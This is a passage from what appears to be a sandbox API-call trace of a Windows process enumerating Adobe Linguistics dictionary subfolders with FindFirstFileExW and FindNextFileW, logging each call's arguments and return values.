ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.142] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.142] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.142] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.142] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.142] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.142] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.143] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.143] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.143] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.143] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.143] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.143] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.143] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.143] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.143] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.143] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.144] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.144] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.144] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.144] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.144] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.144] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.144] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.144] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.144] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.144] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.144] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.144] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.145] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.145] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.145] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.145] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.145] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.145] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.145] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.145] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.145] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.145] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.146] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.146] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.146] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.146] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.146] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.146] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.146] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.147] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.148] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0089.149] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.149] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: 